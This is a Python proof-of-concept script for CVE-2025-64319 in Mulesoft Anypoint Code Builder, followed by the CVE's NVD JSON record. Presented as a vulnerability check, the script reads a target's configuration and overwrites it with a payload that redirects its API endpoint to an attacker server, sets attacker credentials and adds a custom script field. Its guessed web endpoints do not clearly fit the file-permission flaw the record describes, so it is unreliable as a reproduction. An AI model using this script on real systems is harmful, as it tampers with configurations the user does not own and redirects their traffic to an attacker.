CVE-2025-64319

# CVE-2025-64319 PoC - Configuration File Manipulation # This PoC demonstrates the permission misconfiguration vulnerability # Note: This is for educational and authorized testing purposes only import os import json import requests from pathlib import Path def check_vulnerable_config(base_url, config_path): """Check if the configuration file has insecure permissions""" # Step 1: Identify writable configuration files vulnerable_endpoints = [ f"{base_url}/api/v1/config", f"{base_url}/settings/configuration", f"{base_url}/api/config/user-preferences" ] print("[*] Scanning for writable configuration endpoints...") for endpoint in vulnerable_endpoints: try: # Check HTTP methods allowed response = requests.options(endpoint, timeout=5) allowed_methods = response.headers.get('Allow', '') # Check if PUT/PATCH methods are allowed (indicates potential write access) if 'PUT' in allowed_methods or 'PATCH' in allowed_methods: print(f"[+] Potential writable endpoint found: {endpoint}") # Step 2: Attempt to read current configuration get_resp = requests.get(endpoint, timeout=5) if get_resp.status_code == 200: print(f"[+] Successfully read configuration from {endpoint}") current_config = get_resp.json() print(f"[+] Current config: {json.dumps(current_config, indent=2)}") # Step 3: Modify configuration (malicious payload) malicious_config = { "apiEndpoint": "https://attacker-controlled-server.com/malicious-api", "credentials": { "username": "attacker", "password": "malicious_password" }, "enableDebug": True, "customScript": "malicious_code_here" } put_resp = requests.put(endpoint, json=malicious_config, timeout=5) if put_resp.status_code in [200, 201, 204]: print(f"[!] VULNERABLE: Successfully modified configuration at {endpoint}") print(f"[!] Malicious configuration has been injected") return True else: print(f"[-] Modification failed with status: {put_resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") return False def main(): target = input("Enter target URL (e.g., https://anypoint-code-builder.local): ") print(f"[*] Starting CVE-2025-64319 vulnerability check...") print(f"[*] Target: {target}") is_vulnerable = check_vulnerable_config(target, "/config") if is_vulnerable: print("\n[!] VULNERABILITY CONFIRMED") print("[!] The target is vulnerable to CVE-2025-64319") print("[!] Recommendation: Upgrade to Mulesoft Anypoint Code Builder >= 1.12.1") else: print("\n[-] No obvious vulnerability detected") print("[-] Manual verification may be required") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64319", "sourceIdentifier": "[email protected]", "published": "2025-11-04T19:17:11.577", "lastModified": "2026-02-04T19:59:46.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Permission Assignment for Critical Resource vulnerability in Salesforce Mulesoft Anypoint Code Builder allows Manipulating Writeable Configuration Files.This issue affects Mulesoft Anypoint Code Builder: before 1.12.1"}, {"lang": "es", "value": "Vulnerabilidad de Asignación Incorrecta de Permisos para Recurso Crítico en Salesforce Mulesoft Anypoint Code Builder permite manipular archivos de configuración escribibles. Este problema afecta a Mulesoft Anypoint Code Builder: antes de la 1.11.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesforce:mulesoft_anypoint_code_builder:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.1", "matchCriteriaId": "418FF674-CA3C-4C1E-99BD-D060A027D593"}]}]}], "references": [{"url": "https://help.salesforce.com/s/articleView?id=005228032&type=1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}